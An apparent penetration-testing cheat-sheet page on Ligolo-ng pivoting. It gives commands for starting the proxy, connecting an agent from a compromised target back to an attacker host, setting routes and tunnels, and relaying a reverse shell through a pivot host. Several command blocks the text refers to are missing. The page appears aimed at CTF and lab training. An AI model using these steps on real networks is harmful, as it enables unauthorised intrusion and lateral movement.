Ligolo-ng
Pivoting
Launch ligolo-proxy:
-selfcertfor when the environment has no internet availability, e.g. CTFs/labs-autocertfor when there is internet available on the environment
When -autocert is used, port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval.
./proxy [-selfcert | -autocert] -laddr 0.0.0.0:443Connect to the proxy from the target machine:
# When -selfcert is used on the proxy
./agent -connect 10.129.204.146:11601:443 -ignore-cert -retry
# When -autocert is used on the proxy
./agent -connect 10.129.204.146:11601:443 -retryThe routing configuration can be done using the autoroute option or step by step following the rest of the tabs:
# Receive the agent connection
ligolo-ng » INFO[0052] Agent joined. id=0050569e00f6 name="DOMAIN\x7331@MS01" remote="192.168.103.141:49318"
# List active sessions
ligolo-ng » session
# Choose the target session
? Specify a session : 1 - DOMAIN\x7331@MS01 - 192.168.103.141:49318 - 0050569e00f6
# Configure the routing options
[Agent : OSCP\eric.wallows@MS01] » autoroute
# Choose the target network
? Select routes to add: 10.10.63.141/24
# Create a new interface
? Create a new interface or use an existing one? Create a new interface
INFO[0105] Generating a random interface name...
INFO[0105] Using interface name savinglester
INFO[0105] Creating routes for savinglester...
# Start the tunnel via the newly-created interface
? Start the tunnel? Yes
INFO[0106] Starting tunnel to DOMAIN\x7331@MS01 (0050569e00f6)Port-Forward
To access local ports on the connected agent, ligolo-ng uses a hardcoded "magic" CIDR: 240.0.0.0/4:
Now, any IP queried in this unused subnet is automatically redirected to the agent's 127.0.0.1. For instance, the below scan will scan the target's loopback address (127.0.0.1):
Agent Transfer & Execution
We don't need elevated privileges on the target to use the ligolo-agent.
Reverse Shell
We have a route to the target network, but the target network does not have a route to our attack host. Thus, if we want to catch a reverse shell from a target other than the pivot host:
Create a listener on the agent/pivot host (0.0.0.0:3000) that will redirect the traffic to our proxy/attack host (127.0.0.1:4444).
Start listening from our attack host:
Transfer the binary to the target:
Connect from the target to the pivot machine (10.10.63.147) on the listening port (30000):
This will connect to the agent's listener and then forwarded to our proxy:
Persistence
Resources
Last updated
Was this helpful?